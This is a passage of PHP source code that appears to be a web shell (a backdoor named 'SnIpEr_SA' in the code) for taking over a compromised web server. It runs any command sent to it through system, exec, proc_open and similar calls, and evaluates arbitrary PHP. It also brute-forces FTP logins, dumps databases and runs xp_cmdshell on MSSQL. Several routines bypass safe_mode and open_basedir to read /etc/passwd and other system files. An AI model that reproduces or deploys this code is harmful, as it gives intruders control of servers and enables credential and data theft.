  3775.    if($_POST['cmd']=="ftp_file_down") { if(chop($_POST['loc_file'])==$dir) { $_POST['loc_file']=$dir.((!$unix)?('\\'):('/')).basename($_POST['ftp_file']); } @ftp_get($connection,$_POST['loc_file'],$_POST['ftp_file'],$_POST['mode']);        }
  3776.    if($_POST['cmd']=="ftp_file_up")   { @ftp_put($connection,$_POST['ftp_file'],$_POST['loc_file'],$_POST['mode']);        }
  3777.    }
  3778.   }
  3779.  @ftp_close($connection);
  3780.  $_POST['cmd'] = "";
  3781.  }
  3782.  
  3783. if(!empty($_POST['cmd']) && $_POST['cmd']=="ftp_brute")
  3784.  {
  3785.  list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
  3786.  if(empty($ftp_port)) { $ftp_port = 21; }
  3787.  $connection = @ftp_connect ($ftp_server,$ftp_port,10);
  3788.  if(!$connection) { err(3); $_POST['cmd'] = ""; }
  3789.  else if(!$users=get_users()) { echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#cccccc><tr><td bgcolor=#000000><font color=red face=tahoma size=-2><div align=center><b>".$lang[$language.'_text96']."</b></div></font></td></tr></table>"; $_POST['cmd'] = ""; }
  3790.  @ftp_close($connection);
  3791.  }
  3792. echo $table_up3;
  3793.  
  3794. if (empty($_POST['cmd'])&&!$safe_mode) { $_POST['cmd']=(!$unix)?("dir"):("ls -lia"); }
  3795. else if(empty($_POST['cmd'])&&$safe_mode){ $_POST['cmd']="safe_dir"; }
  3796. echo $font.$lang[$language.'_text1'].": <b>".$_POST['cmd']."</b></font></td></tr><tr><td><b><div align=center><textarea name=report cols=121 rows=15>";
  3797.  
  3798.  
  3799.  
  3800.  
  3801. if ($method=="file") {
  3802.                         if (@file($file)) {
  3803.                                 $filer = file($file);
  3804.  
  3805.                                 foreach ($filer as $a) { echo $a; }
  3806.  
  3807.                         } else {
  3808.                                 echo "<script> alert(\"unable to read file: $file using: file\"); </script>";
  3809.                         }
  3810.                 }
  3811.                 if ($method=="fread") {
  3812.                         if (@fopen($file, 'r')) {
  3813.                                 $fp = fopen($file, 'r');
  3814.                                 $string = fread($fp, filesize($file));
  3815.                                 echo "<pre>";
  3816.                                 echo $string;
  3817.                                 echo "</pre>";
  3818.                         } else {
  3819.                                 echo "<script> alert(\"unable to read file: $file using: fread\"); </script>";
  3820.                         }
  3821.                 }
  3822.                 if ($method=="show_source") {
  3823.                         if (show_source($file)) {
  3824.                                 echo "<pre>";
  3825.                                 echo show_source($file);
  3826.                                 echo "</pre>";
  3827.                         } else {
  3828.                                 echo "<script> alert(\"unable to read file: $file using: show_source\"); </script>";
  3829.                         }
  3830.  
  3831.                 }
  3832.                 if ($method=="readfile") {
  3833.                         echo "<pre>";
  3834.                         if (readfile($file)) {
  3835.                                 //echo "<pre>";
  3836.                                 //echo readfile($file);
  3837.                                 echo "</pre>";
  3838.                         } else {
  3839.                                 echo "</pre>";
  3840.                                 echo "<script> alert(\"unable to read file: $file using: readfile\"); </script>";
  3841.                         }
  3842.  
  3843.                 }
  3844.  
  3845. function dozip1($link,$file)
  3846. {
  3847.    $fp = @fopen($link,"r");
  3848.    while(!feof($fp))
  3849.    {
  3850.        $cont.= fread($fp,1024);
  3851.    }
  3852.    fclose($fp);
  3853.  
  3854.    $fp2 = @fopen($file,"w");
  3855.    fwrite($fp2,$cont);
  3856.    fclose($fp2);
  3857. }
  3858. if (isset($_POST['funzip']))
  3859. {
  3860. dozip1($_POST['funzip'],$_POST['fzip']);
  3861. }
  3862. if(empty($_POST['root'])){
  3863. } else {
  3864.    $root = $_POST['root']; }
  3865.  
  3866.  
  3867.  
  3868.  
  3869.   $c = 0; $D = array();
  3870.   set_error_handler("eh");
  3871.  
  3872.   $chars = "_-.01234567890abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
  3873.  
  3874.   for($i=0; $i < strlen($chars); $i++){
  3875.   $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}";
  3876.  
  3877.   $prevD = $D[count($D)-1];
  3878.   glob($path."*");
  3879.  
  3880.         if($D[count($D)-1] != $prevD){
  3881.  
  3882.         for($j=0; $j < strlen($chars); $j++){
  3883.  
  3884.            $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}";
  3885.  
  3886.            $prevD2 = $D[count($D)-1];
  3887.            glob($path."*");
  3888.  
  3889.               if($D[count($D)-1] != $prevD2){
  3890.  
  3891.  
  3892.                  for($p=0; $p < strlen($chars); $p++){
  3893.  
  3894.                  $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}";
  3895.  
  3896.                  $prevD3 = $D[count($D)-1];
  3897.                  glob($path."*");
  3898.  
  3899.                     if($D[count($D)-1] != $prevD3){
  3900.  
  3901.  
  3902.                        for($r=0; $r < strlen($chars); $r++){
  3903.  
  3904.                        $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}{$chars[$r]}";
  3905.                        glob($path."*");
  3906.  
  3907.                        }
  3908.  
  3909.                     }
  3910.  
  3911.                  }
  3912.  
  3913.               }
  3914.  
  3915.         }
  3916.  
  3917.         }
  3918.  
  3919.   }
  3920.  
  3921.   $D = array_unique($D);
  3922.  
  3923.  
  3924.  
  3925.  
  3926.   foreach($D as $item)
  3927.   if(isset($_REQUEST['root']))
  3928.   echo "{$item}\n";
  3929.  
  3930.  
  3931.  
  3932.  
  3933.   function eh($errno, $errstr, $errfile, $errline){
  3934.  
  3935.      global $D, $c, $i;
  3936.      preg_match("/SAFE\ MODE\ Restriction\ in\ effect\..*whose\ uid\ is(.*)is\ not\ allowed\ to\ access(.*)owned by uid(.*)/", $errstr, $o);
  3937.      if($o){ $D[$c] = $o[2]; $c++;}
  3938.  
  3939.   }
  3940.  
  3941.  
  3942.  
  3943.  
  3944.  
  3945. if($safe_mode)
  3946. {
  3947.  switch($_POST['cmd'])
  3948.  {
  3949.  case 'safe_dir':
  3950.   $d=@dir($dir);
  3951.   if ($d)
  3952.    {
  3953.    while (false!==($file=$d->read()))
  3954.     {
  3955.      if ($file=="." || $file=="..") continue;
  3956.      @clearstatcache();
  3957.      list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);
  3958.      if(!$unix){
  3959.      echo date("d.m.Y H:i",$mtime);
  3960.      if(@is_dir($file)) echo "  <DIR> "; else printf("% 7s ",$size);
  3961.      }
  3962.      else{
  3963.      $owner = @posix_getpwuid($uid);
  3964.      $grgid = @posix_getgrgid($gid);
  3965.      echo $inode." ";
  3966.      echo perms(@fileperms($file));
  3967.      printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size);
  3968.      echo date("d.m.Y H:i ",$mtime);
  3969.      }
  3970.      echo "$file\n";
  3971.     }
  3972.    $d->close();
  3973.    }
  3974.   else echo $lang[$language._text29];
  3975.  break;
  3976.     }
  3977. }
  3978. else if(($_POST['cmd']!="php_eval")&&($_POST['cmd']!="mysql_dump")&&($_POST['cmd']!="db_query")&&($_POST['cmd']!="ftp_brute")){
  3979.  $cmd_rep = ex($_POST['cmd']);
  3980.  if(!$unix) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; }
  3981.  else { echo @htmlspecialchars($cmd_rep)."\n"; }}
  3982.  if($_POST['cmd'])
  3983. {
  3984.  switch($_POST['cmd'])
  3985.  {
  3986.   case 'test1':
  3987.   $ci = @curl_init("file://".$_POST['test1_file']."");
  3988.   $cf = @curl_exec($ci);
  3989.   echo $cf;
  3990.   break;
  3991.   case 'test2':
  3992.   @include($_POST['test2_file']);
  3993.   break;
  3994.   case 'mysqlb':
  3995.  
  3996. $mhost = "localhost";
  3997. $muser = $_POST['test3_ml'];
  3998. $mpass = $_POST['test3_mp'];
  3999. $mdb   = $_POST['test3_md'];
  4000. $file = $_POST['test3_file'];
  4001.  
  4002. // default mysql_read files [seperated by: ':']:
  4003. $mysql_files_str = "/etc/passwd:/proc/cpuinfo:/etc/resolv.conf:/etc/proftpd.conf";
  4004. $mysql_files = explode(':', $mysql_files_str);
  4005.  
  4006.  
  4007.                                                                 $sql = array (
  4008.                                                                    "USE $mdb",
  4009.  
  4010.                                                                    'CREATE TEMPORARY TABLE ' . ($tbl = 'A'.time ()) . ' (a LONGBLOB)',
  4011.  
  4012.                                                                    "LOAD DATA LOCAL INFILE '$file' INTO TABLE $tbl FIELDS "
  4013.                                                                    . "TERMINATED BY       '__THIS_NEVER_HAPPENS__' "
  4014.                                                                    . "ESCAPED BY          '' "
  4015.                                                                    . "LINES TERMINATED BY '__THIS_NEVER_HAPPENS__'",
  4016.  
  4017.                                                                    "SELECT a FROM $tbl LIMIT 1"
  4018.                                                                 );
  4019.  
  4020.  
  4021.                                                                 mysql_connect ($mhost, $muser, $mpass);
  4022.  
  4023.                                                                 foreach ($sql as $statement) {
  4024.                                                                    $q = mysql_query ($statement);
  4025.  
  4026.                                                                    if ($q == false) die (
  4027.                                                                       "FAILED: " . $statement . "\n" .
  4028.                                                                       "REASON: " . mysql_error () . "\n"
  4029.                                                                    );
  4030.  
  4031.                                                                    if (! $r = @mysql_fetch_array ($q, MYSQL_NUM)) continue;
  4032.  
  4033.                                                                    echo htmlspecialchars($r[0]);
  4034.                                                                    mysql_free_result ($q);
  4035.                                                                 }
  4036.  
  4037.  
  4038. echo "</textarea>";
  4039.  
  4040.  break;
  4041.   case 'test4':
  4042.   if(empty($_POST['test4_port'])) { $_POST['test4_port'] = "1433"; }
  4043.   $db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']);
  4044.   if($db)
  4045.    {
  4046.    if(@mssql_select_db($_POST['test4_md'],$db))
  4047.     {
  4048.      @mssql_query("drop table SnIpEr_SA_temp_table",$db);
  4049.      @mssql_query("create table SnIpEr_SA_temp_table ( string VARCHAR (500) NULL)",$db);
  4050.      @mssql_query("insert into SnIpEr_SA_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db);
  4051.      $res = mssql_query("select * from SnIpEr_SA_temp_table",$db);
  4052.      while(($row=@mssql_fetch_row($res)))
  4053.       {
  4054.       echo $row[0]."\r\n";
  4055.       }
  4056.     @mssql_query("drop table SnIpEr_SA_temp_table",$db);
  4057.     }
  4058.     else echo "[-] ERROR! Can't select database";
  4059.    @mssql_close($db);
  4060.    }
  4061.   else echo "[-] ERROR! Can't connect to MSSQL server";
  4062.   break;
  4063.   case 'test5':
  4064.   if (@file_exists('/tmp/mb_send_mail')) @unlink('/tmp/mb_send_mail');
  4065.   $extra = "-C ".$_POST['test5_file']." -X /tmp/mb_send_mail";
  4066.   @mb_send_mail(NULL, NULL, NULL, NULL, $extra);
  4067.   $lines = file ('/tmp/mb_send_mail');
  4068.   foreach ($lines as $line) { echo htmlspecialchars($line)."\r\n"; }
  4069.   break;
  4070.   case 'test6':
  4071.   $stream = @imap_open('/etc/passwd', "", "");
  4072.   $dir_list = @imap_list($stream, trim($_POST['test6_file']), "*");
  4073.   for ($i = 0; $i < count($dir_list); $i++) echo $dir_list[$i]."\r\n";
  4074.   @imap_close($stream);
  4075.   break;
  4076.   case 'test7':
  4077.   $stream = @imap_open($_POST['test7_file'], "", "");
  4078.   $str = @imap_body($stream, 1);
  4079.   echo $str;
  4080.   @imap_close($stream);
  4081.   break;
  4082.   case 'test8':
  4083.   if(@copy("compress.zlib://".$_POST['test8_file1'], $_POST['test8_file2'])) echo $lang[$language.'_text118'];
  4084.   else echo $lang[$language.'_text119'];
  4085.   break;
  4086. case 'cURL':
  4087.    if(empty($_POST['SnIpEr_SA'])){
  4088.  
  4089.  
  4090. } else {
  4091. $curl=$_POST['SnIpEr_SA'];
  4092. $ch =curl_init("file:///".$curl."\x00/../../../../../../../../../../../../".__FILE__);
  4093. curl_exec($ch);
  4094. var_dump(curl_exec($ch));
  4095. echo "</textarea></CENTER>";
  4096.  
  4097. }
  4098. break;
  4099. case 'copy':
  4100.  
  4101. if(empty($snn)){
  4102. if(empty($_GET['snn'])){
  4103. if(empty($_POST['snn'])){
  4104.  
  4105. } else {
  4106. $u1p=$_POST['snn'];
  4107. }
  4108. } else {
  4109. $u1p=$_GET['snn'];
  4110. }
  4111. }
  4112.   $u1p=""; // File to Include... or use _GET _POST
  4113. $tymczas=""; // Set $tymczas to dir where you have 777 like /var/tmp
  4114.  
  4115.  
  4116. $temp=tempnam($tymczas, "cx");
  4117.  
  4118. if(copy("compress.zlib://".$snn, $temp)){
  4119. $zrodlo = fopen($temp, "r");
  4120. $tekst = fread($zrodlo, filesize($temp));
  4121. fclose($zrodlo);
  4122. echo "".htmlspecialchars($tekst)."";
  4123. unlink($temp);
  4124. echo "</textarea></CENTER>";
  4125. }
  4126. break;
  4127. case 'ini_restore':
  4128.  if(empty($_POST['ini_restore'])){
  4129. } else {
  4130.  
  4131. $ini=$_POST['ini_restore'];
  4132. echo ini_get("safe_mode");
  4133. echo ini_get("open_basedir");
  4134. require_once("$ini");
  4135. ini_restore("safe_mode");
  4136. ini_restore("open_basedir");
  4137. echo ini_get("safe_mode");
  4138. echo ini_get("open_basedir");
  4139. include($_GET["ss"]);
  4140. echo "</textarea></CENTER>";
  4141. }
  4142. break;
  4143. case 'glob':
  4144. function reg_glob()
  4145. {
  4146. $chemin=$_REQUEST['glob'];
  4147. $files = glob("$chemin*");
  4148.  
  4149.  
  4150. foreach ($files as $filename) {
  4151.  
  4152.    echo "$filename\n";
  4153.  
  4154. }
  4155. }
  4156.  
  4157. if(isset($_REQUEST['glob']))
  4158. {
  4159. reg_glob();
  4160. }
  4161.  
  4162. break;
  4163. case 'zend':
  4164.  if(empty($_POST['zend'])){
  4165. } else {
  4166.  
  4167. $dezend=$_POST['zend'];
  4168. include($_POST['zend']);
  4169. print_r($GLOBALS);
  4170. require_once("$dezend");
  4171. echo "</textarea></p>";
  4172. }
  4173. break;
  4174.   case 'sym1':
  4175.      if(empty($_POST['sym1p'])){
  4176.              } else {
  4177. $symp=$_POST['sym1p'];
  4178.          }
  4179.      if(empty($_POST['sym1p2'])){
  4180.  
  4181. } else {
  4182. $symp2=$_POST['sym1p2'];
  4183.  
  4184.   symlink("a/a/a/a/a/a/", "dummy");
  4185. symlink("dummy".$symp2."".$symp."", "xxx");
  4186. unlink("dummy");
  4187. while (1) {
  4188. symlink(".", "dummy");
  4189.  
  4190.   }
  4191.  }
  4192.   break;
  4193.   case 'sym2':
  4194.   @include(xxx);
  4195.   break;
  4196.  
  4197.   case 'plugin':
  4198.   if ($_POST['plugin'] ){
  4199.  
  4200.  
  4201.                                            for($uid=0;$uid<60000;$uid++){   //cat /etc/passwd
  4202.                                         $ara = posix_getpwuid($uid);
  4203.                                                 if (!empty($ara)) {
  4204.                                                   while (list ($key, $val) = each($ara)){
  4205.                                                     print "$val:";
  4206.                                                   }
  4207.                                                   print "\n";
  4208.                                                 }
  4209.                                         }
  4210.                                  echo "</textarea>";
  4211.  
  4212.              }
  4213.         break;
  4214.         case 'command':
  4215.           if (!empty($_POST['command'])) {
  4216.  
  4217.                 if ($method=="system") {
  4218.                 system($_POST['command']);
  4219.                 echo "Functions system";
  4220.                 }
  4221.                 if ($method=="passthru") {
  4222.                 passthru($_POST['command']);
  4223.                 echo "Functions passthru";
  4224.                 }
  4225.                 if ($method=="exec") {
  4226.                         $string = exec($_POST['command']);
  4227.                         echo $string;
  4228.                         echo "Functions exec";
  4229.  
  4230.                 }
  4231.                 if ($method=="shell_exec") {
  4232.                 $string = shell_exec($_POST['command']);
  4233.                 echo $string;
  4234.                 echo "Functions shell_exec";
  4235.                 }
  4236.                 if ($method=="popen") {
  4237.                 $pp = popen($_POST['command'], 'r');
  4238.                 $read = fread($pp, 2096);
  4239.                 echo $read;
  4240.                 pclose($pp);
  4241.                 echo "Functions popen";
  4242.                   }
  4243.  
  4244.           if ($method=="proc_open") {
  4245.  
  4246.  
  4247. $command  = isset($_POST['command'])  ? $_POST['command']  : '';
  4248.  
  4249.  
  4250.  
  4251. /* Load the configuration. */
  4252.  
  4253. /* Default settings --- these settings should always be set to something. */
  4254.  
  4255. /* Merge settings. */
  4256.  
  4257. session_start();
  4258.  
  4259.  
  4260.  
  4261.     if (!empty($command)) {
  4262.         /* Save the command for late use in the JavaScript.  If the command is
  4263.          * already in the history, then the old entry is removed before the
  4264.          * new entry is put into the list at the front. */
  4265.         if (($i = array_search($_POST['command'], $_SESSION['history'])) !== false)
  4266.             unset($_SESSION['history'][$i]);
  4267.  
  4268.         array_unshift($_SESSION['history'], $_POST['command']);
  4269.  
  4270.         /* Now append the commmand to the output. */
  4271.         $_SESSION['output'] .= '$ ' . $_POST['command'] . "\n";
  4272.  
  4273.         /* Initialize the current working directory. */
  4274.         if (ereg('^[[:blank:]]*cd[[:blank:]]*$', $_POST['command'])) {
  4275.             $_SESSION['cwd'] = realpath($ini['settings']['home-directory']);
  4276.         } elseif (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $_POST['command'], $regs)) {
  4277.             /* The current command is a 'cd' command which we have to handle
  4278.              * as an internal shell command. */
  4279.  
  4280.             if ($regs[1]{0} == '/') {
  4281.                 /* Absolute path, we use it unchanged. */
  4282.                 $new_dir = $regs[1];
  4283.             } else {
  4284.                 /* Relative path, we append it to the current working
  4285.                  * directory. */
  4286.                 $new_dir = $_SESSION['cwd'] . '/' . $regs[1];
  4287.             }
  4288.  
  4289.             /* Transform '/./' into '/' */
  4290.             while (strpos($new_dir, '/./') !== false)
  4291.                 $new_dir = str_replace('/./', '/', $new_dir);
  4292.  
  4293.             /* Transform '//' into '/' */
  4294.             while (strpos($new_dir, '//') !== false)
  4295.                 $new_dir = str_replace('//', '/', $new_dir);
  4296.  
  4297.             /* Transform 'x/..' into '' */
  4298.             while (preg_match('|/\.\.(?!\.)|', $new_dir))
  4299.                 $new_dir = preg_replace('|/?[^/]+/\.\.(?!\.)|', '', $new_dir);
  4300.  
  4301.             if ($new_dir == '') $new_dir = '/';
  4302.  
  4303.             /* Try to change directory. */
  4304.             if (@chdir($new_dir)) {
  4305.                 $_SESSION['cwd'] = $new_dir;
  4306.             } else {
  4307.                 $_SESSION['output'] .= "cd: could not change to: $new_dir\n";
  4308.             }
  4309.  
  4310.         } elseif (trim($_POST['command']) == 'exit') {
  4311.             logout();
  4312.         } else {
  4313.  
  4314.             /* The command is not an internal command, so we execute it after
  4315.              * changing the directory and save the output. */
  4316.             chdir($_SESSION['cwd']);
  4317.  
  4318.             // We canot use putenv() in safe mode.
  4319.             if (!ini_get('safe_mode')) {
  4320.                 // Advice programs (ls for example) of the terminal size.
  4321.                 putenv('ROWS=' . $rows);
  4322.                 putenv('COLUMNS=' . $columns);
  4323.             }
  4324.  
  4325.             /* Alias expansion. */
  4326.             $length = strcspn($_POST['command'], " \t");
  4327.             $token = substr($_POST['command'], 0, $length);
  4328.             if (isset($ini['aliases'][$token]))
  4329.                 $command = $ini['aliases'][$token] . substr($_POST['command'], $length);
  4330.  
  4331.             $io = array();
  4332.             $p = proc_open($_POST['command'],
  4333.                            array(1 => array('pipe', 'w'),
  4334.                                  2 => array('pipe', 'w')),
  4335.                            $io);
  4336.  
  4337.             /* Read output sent to stdout. */
  4338.             while (!feof($io[1])) {
  4339.                 $_SESSION['output'] .= htmlspecialchars(fgets($io[1]),
  4340.                                                         ENT_COMPAT, 'UTF-8');
  4341.             }
  4342.             /* Read output sent to stderr. */
  4343.             while (!feof($io[2])) {
  4344.                 $_SESSION['output'] .= htmlspecialchars(fgets($io[2]),
  4345.                                                         ENT_COMPAT, 'UTF-8');
  4346.             }
  4347.  
  4348.             fclose($io[1]);
  4349.             fclose($io[2]);
  4350.             proc_close($p);
  4351.         }
  4352.     }
  4353.  
  4354.     /* Build the command history for use in the JavaScript */
  4355.     if (empty($_SESSION['history'])) {
  4356.         $js_command_hist = '""';
  4357.     } else {
  4358.         $escaped = array_map('addslashes', $_SESSION['history']);
  4359.         $js_command_hist = '"", "' . implode('", "', $escaped) . '"';
  4360.     }
  4361.                }
  4362.                         }
  4363.  
  4364.  
  4365.                 break;
  4366.    }
  4367. }
  4368.  
  4369.  
  4370.  
  4371.  
  4372.  
  4373. if ($_POST['cmd']=="ftp_brute")
  4374.  {
  4375.  $suc = 0;
  4376.  foreach($users as $user)
  4377.   {
  4378.   $connection = @ftp_connect($ftp_server,$ftp_port,10);
  4379.   if(@ftp_login($connection,$user,$user)) { echo "[+] $user:$user - success\r\n"; $suc++; }
  4380.   else if(isset($_POST['reverse'])) { if(@ftp_login($connection,$user,strrev($user))) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; } }
  4381.   @ftp_close($connection);
  4382.   }
  4383.  echo "\r\n-------------------------------------\r\n";
  4384.  $count = count($users);
  4385.  if(isset($_POST['reverse'])) { $count *= 2; }
  4386.  echo $lang[$language.'_text97'].$count."\r\n";
  4387.  echo $lang[$language.'_text98'].$suc."\r\n";
  4388.  }
  4389. if ($_POST['cmd']=="php_eval"){
  4390.  $eval = @str_replace("<?","",$_POST['php_eval']);
  4391.  $eval = @str_replace("?>","",$eval);
  4392.  @eval($eval);}
  4393.  
  4394. if ($_POST['cmd']=="mysql_dump")
  4395.  {
  4396.   if(isset($_POST['dif'])) { $fp = @fopen($_POST['dif_name'], "w"); }
  4397.   $sql = new my_sql();
  4398.   $sql->db   = $_POST['db'];
  4399.   $sql->host = $_POST['db_server'];
  4400.   $sql->port = $_POST['db_port'];
  4401.   $sql->user = $_POST['mysql_l'];
  4402.   $sql->pass = $_POST['mysql_p'];
  4403.   $sql->base = $_POST['mysql_db'];
  4404.   if(!$sql->connect()) { echo "[-] ERROR! Can't connect to SQL server"; }
  4405.   else if(!$sql->select_db()) { echo "[-] ERROR! Can't select database"; }
  4406.   else if(!$sql->dump($_POST['mysql_tbl'])) { echo "[-] ERROR! Can't create dump"; }
  4407.   else {
  4408.    if(empty($_POST['dif'])) { foreach($sql->dump as $v) echo $v."\r\n"; }
  4409.    else if($fp){ foreach($sql->dump as $v) @fputs($fp,$v."\r\n"); }
  4410.    else { echo "[-] ERROR! Can't write in dump file"; }
  4411.    }
  4412.  }
  4413. echo "</textarea></div>";
  4414. echo "</b>";
  4415. echo "</td></tr></table>";
  4416. echo "<table width=100% cellpadding=0 cellspacing=0>";
  4417. function div_title($title, $id)
  4418. {
  4419.   return '<a style="cursor: pointer;" onClick="change_divst(\''.$id.'\');">'.$title.'</a>';
  4420. }
  4421. function div($id)
  4422.  {
  4423.  if(isset($_COOKIE[$id]) && $_COOKIE[$id]==0) return '<div id="'.$id.'" style="display: none;">';
  4424.  return '<div id="'.$id.'">';
  4425.  }
  4426.  
  4427.  
  4428. if(!$safe_mode){
  4429. echo $fs.$table_up1.div_title($lang[$language.'_text2'],'id1').$table_up2.div('id1').$ts;
  4430. echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','cmd',85,''));
  4431. echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
  4432. echo $te.'</div>'.$table_end1.$fe;
  4433. }
  4434. else{
  4435. echo $fs.$table_up1.div_title($lang[$language.'_text28'],'id2').$table_up2.div('id2').$ts;
  4436. echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt6']));
  4437. echo $te.'</div>'.$table_end1.$fe;
  4438. }
  4439. echo $fs.$table_up1.div_title($lang[$language.'_text208'],'id15').$table_up2.div('id15').$ts;
  4440. echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>","<select name=\"method\">
  4441.                             <option value=\"system\" <? if ($method==\"system\") { echo \"selected\"; } ?>system</option>
  4442.                             <option value=\"passthru\" <? if ($method==\"passthru\") { echo \"selected\"; } ?>passthru</option>
  4443.                             <option value=\"exec\" <? if ($method==\"exec\") { echo \"selected\"; } ?>exec</option>
  4444.                             <option value=\"shell_exec\" <? if ($method==\"shell_exec\") { echo \"selected\"; } ?>shell_exec</option>
  4445.                             <option value=\"popen\" <? if ($method==\"popen\") { echo \"selected\"; } ?>popen</option>
  4446.                             <option value=\"proc_open\" <? if ($method==\"proc_open\") { echo \"selected\"; } ?>proc_open</option>
  4447.                       </select>".in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text3'].$arrow."</b>".in('text','command',54,(!empty($_POST['command'])?($_POST['command']):("id"))).in('hidden','cmd',0,'command').ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
  4448. echo $te.'</div>'.$table_end1.$fe;
  4449.  
  4450. echo $fs.$table_up1.div_title($lang[$language.'_text223'],'id5').$table_up2.div('id5').$ts;
  4451. echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>","<select name=\"method\">
  4452.                             <option value=\"file\" <? if ($method==\"file\") { echo \"selected\"; } ?> file</option>
  4453.                             <option value=\"fread\" <? if ($method==\"fread\") { echo \"selected\"; } ?> fread</option>
  4454.                             <option value=\"show_source\" <? if ($method==\"show_source\") { echo \"selected\"; } ?> show_source</option>
  4455.                             <option value=\"readfile\" <? if ($method==\"readfile\") { echo \"selected\"; } ?> readfile</option>
  4456.                       </select>".in('hidden','file',0,$dir).ws(2)."<b>".$lang[$language.'_text202'].$arrow."</b>".in('text','file',41,'/etc/passwd').ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
  4457. echo $te.'</div>'.$table_end1.$fe;
  4458. echo $fs.$table_up1.div_title($lang[$language.'_text42'],'id3').$table_up2.div('id3').$ts;
  4459. echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11']));
  4460. echo $te.'</div>'.$table_end1.$fe;
  4461.  
  4462. echo $fs.$table_up1.div_title($lang[$language.'_text200'],'id3').$table_up2.div('id3').$ts;
  4463. echo sr(15,"<b>".$lang[$language.'_text202'].$arrow."</b>",in('text','snn',85,'/etc/passwd').in('hidden','cmd',0,'copy').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7']));
  4464. echo $te.'</div>'.$table_end1.$fe;
  4465. echo $fs.$table_up1.div_title($lang[$language.'_text300'],'id3').$table_up2.div('id3').$ts;
  4466. echo sr(15,"<b>".$lang[$language.'_text202'].$arrow."</b>",in('text','SnIpEr_SA',85,'/etc/passwd').in('hidden','cmd',0,'cURL').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7']));
  4467. echo $te.'</div>'.$table_end1.$fe;
  4468. echo $fs.$table_up1.div_title($lang[$language.'_text203'],'id3').$table_up2.div('id3').$ts;
  4469. echo sr(15,"<b>".$lang[$language.'_text202'].$arrow."</b>",in('text','ini_restore',85,'/etc/passwd').in('hidden','cmd',0,'ini_restore').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7']));
  4470. echo $te.'</div>'.$table_end1.$fe;
  4471. echo $fs.$table_up1.div_title($lang[$language.'_text224'],'id3').$table_up2.div('id3').$ts;
  4472. echo sr(15,"<b>".$lang[$language.'_text202'].$arrow."</b>","<select size=\"1\" name=\"plugin\"><option value=\"plugin\">/etc/passwd</option></option></select>".in('hidden','cmd',0,'plugin').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7']));
  4473. echo $te.'</div>'.$table_end1.$fe;
  4474. echo $fs.$table_up1.div_title($lang[$language.'_text35'],'id12').$table_up2.div('id12').$ts;
  4475. echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test3_md',15,(!empty($_POST['test3_md'])?($_POST['test3_md']):("mysql"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test3_ml',15,(!empty($_POST['test3_ml'])?($_POST['test3_ml']):("root"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test3_mp',15,(!empty($_POST['test3_mp'])?($_POST['test3_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>");
  4476. echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test3_file',96,(!empty($_POST['test3_file'])?($_POST['test3_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysqlb').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  4477. echo $te.'</div>'.$table_end1.$fe;
  4478. echo $fs.$table_up1.div_title($lang[$language.'_text220'],'id3').$table_up2.div('id3').$ts;
  4479. echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','sym1p2',50,(!empty($_POST['sym1p2'])?($_POST['sym1p']):("/../../../"))).in('text','sym1p',50,(!empty($_POST['sym1p'])?($_POST['sym1p']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'sym1').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  4480. echo $te.'</div>'.$table_end1.$fe;
  4481. echo $fs.$table_up1.div_title($lang[$language.'_text222'],'id3').$table_up2.div('id3').$ts;
  4482. echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('hidden','dir',0,$dir).in('hidden','cmd',0,'sym2').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  4483. echo $te.'</div>'.$table_end1.$fe;
  4484.  
  4485. {
  4486. echo $fs.$table_up1.div_title($lang[$language.'_text204'],'id23').$table_up2.div('id23').$ts;
